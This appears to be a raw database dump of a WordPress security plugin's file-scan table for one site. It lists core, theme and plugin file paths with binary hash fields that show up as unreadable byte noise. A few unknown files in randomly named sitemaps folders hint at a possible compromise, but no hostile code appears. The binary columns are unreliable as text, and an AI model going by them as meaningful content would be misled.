(',+L\\Ac','wp-content/themes/twentytwentytwo/inc/patterns/page-about-solid-color.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/page-about-solid-color.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','xIo:mZ','v\0v8x7mo=\n&Dٶ?;1D','',0,'?'),
('$>ŁM@','wp-includes/js/dist/script-modules/block-library/accordion/view.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/accordion/view.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','fd\0p	]','c5؎=Ο}p]ұN	','',0,'?'),
('(}і?(#oN','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ThinItalic.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ThinItalic.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','t =XYe','QФxz3#\\EaEvlUl','',0,'?'),
('N\'!\rBj3','wp-content/plugins/wordfence/crypto/vendor/paragonie/random_compat/LICENSE','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/random_compat/LICENSE',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\H!#>bW','&xwαh)œ@5m.)9R','',0,'?'),
('OR(ǹO','wp-content/themes/twentytwenty/assets/js/customize.js','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/js/customize.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\')nhp','櫝^4Rﾃ-L1|','',0,'?'),
(']@\n>ĺYn','wp-admin/admin-post.php','/home/trevorkl/trevorklee.com/wp-admin/admin-post.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',';(\'hH4','v	:$Y<3)qڏʲx','',0,'?'),
('w{\0HϝC+Y','wp-content/plugins/wordfence/views/scanner/text/issue-commentBadURL.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/text/issue-commentBadURL.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','sd_53)','a͝f;0dV@NBmT;ي','',0,'?'),
('I0B,hʛp','wp-includes/class-wp-term-query.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-term-query.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','I&V:V:s))','2킰NtR,YsL#~OE&u','',0,'?'),
('賮]','wp-includes/customize/class-wp-customize-code-editor-control.php','/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-code-editor-control.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','jMіlM_','xFZKc37`Ԫ$jg]Q','',0,'?'),
('Z\Z5\nj}@','wp-includes/blocks/buttons/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/buttons/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ЛfXb9f\"ŅVa','y\"fQ-p4<U>V\0Gޔ','',0,'?'),
('Z\ZaYH\0 5~ ','wp-admin/includes/class-wp-automatic-updater.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-automatic-updater.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@6zl|93/C4<','j !U\";e\nY)j?ũ\'ǙHȴ','',0,'?'),
('QR\"@3vS','wp-admin/js/link.js','/home/trevorkl/trevorklee.com/wp-admin/js/link.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','϶5֞P','Onn˕{?Q!=Voi','',0,'?'),
('G ~`','wp-includes/customize/class-wp-customize-nav-menu-name-control.php','/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-nav-menu-name-control.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7fW՚7','pvw ܪ9?az','',0,'?'),
('r9x\\eQq','wp-content/plugins/header-footer-code-manager/js/location.js','/home/trevorkl/trevorklee.com/wp-content/plugins/header-footer-code-manager/js/location.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|@yQejA','0NH 0dkre~ՉV','',0,'?'),
('UEKڂ*U','wp-includes/blocks/gallery/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/gallery/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','0]j\rӞ:p$','W%)D\0JޖzO2HHC','',0,'?'),
('\Za]]A\'h','wp-admin/network/settings.php','/home/trevorkl/trevorklee.com/wp-admin/network/settings.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','gJ>Bn8(<MyY','.uEcc4*xyP\nP2mQ','',0,'?'),
('3m8p:^','wp-content/plugins/wordfence/views/scanner/text/issue-wfUpgradeError.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/text/issue-wfUpgradeError.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|X`\nv1d','?yH=!`	YTY6)IT}D','',0,'?'),
('=cه','wp-admin/includes/upgrade.php','/home/trevorkl/trevorklee.com/wp-admin/includes/upgrade.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','dvB?̱ho','MKkʀϤa^~m{\Zl<z','',0,'?'),
('eCDi!','wp-admin/css/colors/coffee/colors.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/colors/coffee/colors.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','A4$tAb\"','-uAp!$d 1Ad4	^x6','',0,'?'),
('\n/+	ڕ3:dc','wp-content/plugins/wordfence/views/scanner/text/issue-wfThemeUpgrade.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/text/issue-wfThemeUpgrade.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','fHHX=@V.ޕ','bV(j{p&!>;>6ٍ','',0,'?'),
('f%uP','wp-includes/js/mce-view.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/mce-view.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','h}7ȫ\nB','r\"vZejR7f/T̶=qJۊ','',0,'?'),
('\Z{:\Z4f','wp-includes/js/customize-preview-nav-menus.js','/home/trevorkl/trevorklee.com/wp-includes/js/customize-preview-nav-menus.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[Nm lVҪ3','5,M35n(tL5;^P/9z8','',0,'?'),
('.z&.1y','wp-includes/css/dist/format-library/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/format-library/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','K4:^\"@j','M/ay,[At*쒱r+S','',0,'?'),
('3LYgBڈ<\'','wp-content/themes/twentytwentyfive/patterns/footer-centered.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/footer-centered.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','dbu.+}\\,','5IGI[}e-[[','',0,'?'),
('?kbx_JM','wp-includes/blocks/comments/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','dGL^1\\8o','|^TXϢxSj~5\'[L8CD','',0,'?'),
('H*L\";@4','wp-content/plugins/loginizer/assets/images/backuply-square.png','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/assets/images/backuply-square.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','I\\t/gz','gyȫY\"P,	m (ͷ-n','',0,'?'),
('R8Zp]S|	:','wp-includes/js/dist/development/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/dist/development/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('aeuá CR','wp-content/themes/twentytwentyfive/templates/index.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/templates/index.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','H^!Eʷ	m','2S#R+%\0o,\ZF,( ߒ=','',0,'?'),
('il\0֏ss','wp-includes/blocks/post-author-name/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-author-name/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}rMXo','~	(Z<=$ޤ#ݹw','',0,'?'),
('n_r>G	Ҹ,','wp-includes/sitemaps/egf1kul/ytws1xl/yvgo1is/php.ini','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/egf1kul/ytws1xl/yvgo1is/php.ini',0,'Psقdh#K','Psقdh#K',':Aa\'\rIۺw)}WtO','',0,'0'),
('pqKg4k','wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Node.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Node.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','vK<t Q','O[^yV`=h+ﰰd\0-','',0,'?'),
('yѼ5!* ','wp-content/themes/twentytwentyone/searchform.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/searchform.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',\Z_%M6ߨ','Ίfr$s1{KK\Z4!R:','',0,'?'),
('\"7e{\0Ő','wp-content/plugins/wordfence/css/license/premium-global.1788880300.css','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/license/premium-global.1788880300.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1۩v|$T','ZRufZojO{ĩ(#\"\Z\'\"րXr','',0,'?'),
('dY:','wp-content/themes/twentytwentyfour/patterns/page-rsvp-landing.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/page-rsvp-landing.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','L	k Ӎ','C~ص<íFNj-D/\n㭪','',0,'?'),
('<7vY6?','wp-includes/blocks/separator/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/separator/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','mfP,f\'׼tOgQ','8vY͜ {kzf7{+','',0,'?'),
('ί?gW9','wp-includes/blocks/embed/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/embed/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\\"m]@C','*ē#FϚ\0jk5h5ݢ<','',0,'?'),
('ծש˓!&','wp-content/themes/twentytwentyfive/assets/images/dallas-creek-square.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/dallas-creek-square.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','e6t','\\ivBV`SQj|ʿ}e+_f<','',0,'?'),
('UC|ftΆc+','wp-content/themes/twentytwentyfive/style.css','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','L\0a{CX8a','~wkzwe{t^4Igc=sU&0','',0,'?'),
('=!yP','wp-includes/Requests/src/Exception/Http/Status414.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http/Status414.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','㰚Del~Jp','.Hm<+ۦ)ҝDQ<5','',0,'?'),
('NFVYC','wp-includes/blocks/shortcode.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/shortcode.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','-Xלꃹ','nW?cI˜ӦY}=\Z@Y4?r','',0,'?'),
('XOz-l9Ʒ0`','wp-content/themes/twentytwentytwo/assets/fonts/SourceSerif4Variable-Roman.otf.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/SourceSerif4Variable-Roman.otf.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ay\nYn2!','ShVZt^~͛\n#$֒\r5V','',0,'?'),
('uy؟uV@/','wp-includes/class-wp-block-patterns-registry.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-block-patterns-registry.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','֪\0/2	0e','7ݷH4%sF~SB)!','',0,'?'),
('\'H/%͉j','wp-content/themes/twentytwentytwo/assets/fonts/inter/LICENSE.txt','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/inter/LICENSE.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Bҹ~_PŅtIf5','\r|cNmCxSErM','',0,'?'),
('Dnk','wp-content/themes/twentytwentyone/index.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/index.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4f]U)W\"=','$`j0ɒc1-K@\rfnR3T','',0,'?'),
('@}&J~¾&\0','wp-includes/customize/class-wp-customize-new-menu-control.php','/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-new-menu-control.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','NpaCqk','F0HyceLuQ&LiH\nDũK','',0,'?'),
('\ns(G0','wp-content/plugins/loginizer/lib/hybridauth/Thirdparty/OAuth/OAuthSignatureMethodHMACSHA1.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Thirdparty/OAuth/OAuthSignatureMethodHMACSHA1.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2h|\'I$c','<eV4b\\OQU;}d;','',0,'?'),
('7ke})KWs','wp-includes/SimplePie/src/SimplePie.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/SimplePie.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ʾ~\n~','gIH)Aj/q\Z`1җ\rt;gs:','',0,'?'),
(';Lt׬Cɣ','wp-content/plugins/wordfence/tmp/.htaccess','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/tmp/.htaccess',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Iz~i,L','	HQIqzڤp9C4>H3G','',0,'?'),
('Y^~5~pG-','wp-includes/js/customize-views.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/customize-views.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"FY{-ஒ','eT JrazOX	/TT%','',0,'?'),
('gJU`/u-<v','wp-includes/sodium_compat/lib/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/lib/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('jU30<gb','wp-includes/blocks/paragraph/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/paragraph/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ll@;\'v@U:','۩P(}U-\0\0rAFkSA,%','',0,'?'),
('u_~!\0','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Curve25519/Ge/Precomp.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Curve25519/Ge/Precomp.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Y=\nY992','6\Z/py5EحOE','',0,'?'),
('z|zxv','wp-includes/js/jquery/ui/droppable.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/droppable.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','i4*H\ZZwl','?rܶK~Ϧc$EY֠W>\')','',0,'?'),
('˕r&qFi','wp-content/plugins/wordfence/crypto/vendor/composer/installed.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/composer/installed.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}a~YJ','90b#3<!V9RN\Z}Y.','',0,'?'),
('ﾘQ)B\n,','wp-content/plugins/wordfence/images/loading_large.gif','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/loading_large.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Y{ObUW~Y˙','p8\'	t:Qo]{5G1E','',0,'?'),
('Pa`Xu','wp-admin/css/color-picker-rtl.css','/home/trevorkl/trevorklee.com/wp-admin/css/color-picker-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','蔼;dZܫI','H(C%AˈV%f%\0CQ','',0,'?'),
('{ \rSlſ	','wp-content/plugins/wordfence/views/.htaccess','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/.htaccess',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','E\"xK{8dS','C\'r9@Kކtw#@k','',0,'?'),
('X=UpfpZ','wp-includes/taxonomy.php','/home/trevorkl/trevorklee.com/wp-includes/taxonomy.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>!\"Ԋ','¸H4e,	zX\nnl-٭(','',0,'?'),
('4~^U1Ex','wp-includes/blocks/site-title/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/site-title/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','GM\"t|','` \rpJɁ6ې\Z[2k','',0,'?'),
('ތt+\\+XaZU','wp-content/plugins/wordfence/lib/wfScan.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfScan.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','hdלkz','lN \rg\0??`/U.vLѸ[','',0,'?'),
('㯩	\'ިV','wp-includes/images/smilies/icon_biggrin.gif','/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_biggrin.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','KJr:]kI|',':ٔMX%	<8g4','',0,'?'),
('\\;Ng2RL}','wp-includes/sitemaps/lpshcut/udgvzwn/index.html','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/lpshcut/udgvzwn/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('6XԪ4[_=t','wp-content/plugins/wordfence/lib/wfScanEngine.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfScanEngine.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[S,V_','`,B_d8Ytx','',0,'?'),
('M约/+$lm','wp-content/plugins/loginizer/lib/hybridauth/Exception/BadMethodCallException.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Exception/BadMethodCallException.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','pHRc\n_','.OûF>#e-A<I:I\Zy|','',0,'?'),
('9rMԧ','wp-includes/js/customize-preview-widgets.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/customize-preview-widgets.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}E{\'$S!','z1xئeDK]M\'!G\'{33','',0,'?'),
(' ލ<:9|6','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Curve25519/H.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Curve25519/H.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&Nu)wgơg^&','5!셔N{Gcy]>\\;B!','',0,'?'),
('6)Jo*Nn+','wp-includes/js/dist/vendor/wp-polyfill-object-fit.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/vendor/wp-polyfill-object-fit.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','洩`\"@)','[(Q@̊#2\nHeEc{רxH8:','',0,'?'),
('$īI^3','wp-admin/menu-header.php','/home/trevorkl/trevorklee.com/wp-admin/menu-header.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','R?875Ƀ ','^kdUص7u7~a-;','',0,'?'),
('3lrP_B','wp-includes/css/dist/block-library/classic.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/classic.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&\'qwM4v%q','Ź~م.-~G蕗G','',0,'?'),
(':k\n:_9)jPp','wp-includes/blocks/tag-cloud/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/tag-cloud/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Uʧ','D.S\Z㺾A.6+','',0,'?'),
('=Zzq2(','wp-includes/html-api/class-wp-html-active-formatting-elements.php','/home/trevorkl/trevorklee.com/wp-includes/html-api/class-wp-html-active-formatting-elements.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\'W!','Iܷ]S@5)9؛O]p','',0,'?'),
('I/\ZN2p','wp-includes/sodium_compat/src/Core32/Ed25519.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Ed25519.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','*e/','1he+:zaͣ4@','',0,'?'),
('KF$2qHb<*>,','wp-content/plugins/wordfence/modules/login-security/classes/utility/url.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/utility/url.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$#jWaIs','.ܶ:SȉcbIɰ$','',0,'?'),
('K}%XCvx','wp-content/themes/twentytwentythree/assets/fonts/source-serif-pro/SourceSerif4Variable-Roman.ttf.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/source-serif-pro/SourceSerif4Variable-Roman.ttf.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7\\\ZEn','{GS0).~#m}:2','',0,'?'),
('S9QeI3','wp-includes/blocks/details/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/details/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','b2|^v','W)tV3>M*ہTCjOc$ˈ8߲','',0,'?'),
('\\Ƙ%>Tސ1','wp-includes/blocks/block/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/block/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('kG\0o','wp-includes/block-bindings/pattern-overrides.php','/home/trevorkl/trevorklee.com/wp-includes/block-bindings/pattern-overrides.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','h;	3X\0','qy91UgH}{Ce','',0,'?'),
('Q=&L','wp-includes/js/tinymce/skins/wordpress/images/style.svg','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/wordpress/images/style.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','X|\'Gu','ݲa#)`n%\"TjO\0%(x','',0,'?'),
('9BϠ3','wp-content/plugins/wordfence/images/icons/check-care.svg','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/icons/check-care.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@n?duǡos?','JX;W`i\"[*&`K>r4	','',0,'?'),
('yunc[٧','wp-includes/sitemaps.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`S EX^YA','%Six3kOnz]','',0,'?'),
('з&L۽¨VN','wp-includes/css/buttons.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/buttons.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\1AKtN[u','SY^ĜMլ6Ġ1Mg','',0,'?'),
('vH\Zc֎:H','wp-content/themes/twentytwentyfive/parts/footer.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/parts/footer.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`A(I]tusV','[S@_kD#mL%\nݑ?','',0,'?'),
(';b(.(S','wp-content/themes/twentytwentytwo/templates/single-no-separators.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/templates/single-no-separators.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4!et鶛b,','#WVCPdvJ\nBo4,Q;','',0,'?'),
('6$[O','wp-admin/css/customize-widgets.css','/home/trevorkl/trevorklee.com/wp-admin/css/customize-widgets.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7FX!:AGjp','GoD#&	P%b^_Wj\'\\X,','',0,'?'),
('jVvSdҮ','wp-includes/rest-api/search/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/rest-api/search/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('rp.u3zx','wp-admin/includes/class-ftp.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-ftp.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!\'=BQ@϶|h&E',',Ѐpw]yN)AYVL','',0,'?'),
('&?.\rs;=9','wp-content/themes/twentynineteen/style-rtl.css','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$?+!JF&Z','xt}4D|1$bbC>hoح','',0,'?'),
('Tèc\\žxE\Z','wp-includes/blocks/search/view.js','/home/trevorkl/trevorklee.com/wp-includes/blocks/search/view.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','𠋸d=hQ6iDB','\\49bLٻr:m&v(ك','',0,'?'),
('3Pdo,t','wp-includes/blocks/comments-pagination-numbers.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments-pagination-numbers.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','QU{Y6\r#','ɂak:o3ͰQ)Χ\n>}','',0,'?'),
('0\n8P8ow6','wp-includes/SimplePie/src/Item.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Item.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$^zs','!Eg><jϚ7uFd_','',0,'?'),
('%L1č Jٞ','wp-content/themes/twentytwentytwo/inc/block-patterns.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/block-patterns.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(&,}AJ^y','\rE`PkHBY>>IFh5','',0,'?'),
('&[>j/GU','wp-includes/js/dist/token-list.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/token-list.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Hnz	\n\'B','r(:Â#`Y	(c!','',0,'?'),
('7s\\]}AAwe1','wp-admin/tools.php','/home/trevorkl/trevorklee.com/wp-admin/tools.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','IqGȧn','ߪրT&nDՉ','',0,'?'),
('IRyd\\K','wp-content/themes/twentytwentytwo/styles/swiss.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/styles/swiss.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\ZZK=Q?:A','xLI~j?M`?Ι','',0,'?'),
('Z/{LtծF$','wp-admin/js/svg-painter.js','/home/trevorkl/trevorklee.com/wp-admin/js/svg-painter.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','cɯ	S#','uHDbrlt$@REYt','',0,'?'),
('i9~kU\\Z+','wp-includes/css/wp-block-template-skip-link.css','/home/trevorkl/trevorklee.com/wp-includes/css/wp-block-template-skip-link.css',0,'@l!)\0','@l!)\0','^M0ur#ac\ZΣT!dd','',0,'?'),
('v:DYG','wp-includes/js/plupload/plupload.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/plupload/plupload.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','y|(He','SVybZjzx0L','',0,'?'),
('ͨ޹0Ɂ䷑','wp-includes/blocks/video/theme-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/video/theme-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	X6TcW#\'L','D f7R.+;`1-p:}yu6','',0,'?'),
('TYPpEw','wp-includes/widgets/class-wp-widget-archives.php','/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-archives.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6{-','ٸ-u\"&bܦbFL:Ez#.','',0,'?'),
('І$Hd+ػ','wp-includes/assets/script-loader-packages.min.php','/home/trevorkl/trevorklee.com/wp-includes/assets/script-loader-packages.min.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','s&,3A','9\Zȍ~`	<iy۱E','',0,'?'),
('絛zy>_+t','wp-includes/class-wp-user-meta-session-tokens.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-user-meta-session-tokens.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Gݑ91A_a','+?/A;\'HjDQa','',0,'?'),
(',*!7FanH','wp-includes/js/dist/script-modules/block-library/accordion/view.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/accordion/view.min.asset.php',0,'`X،?*6B','`X،?*6B','3Wj\\l\0/{b^ oH\Z*B','',0,'?'),
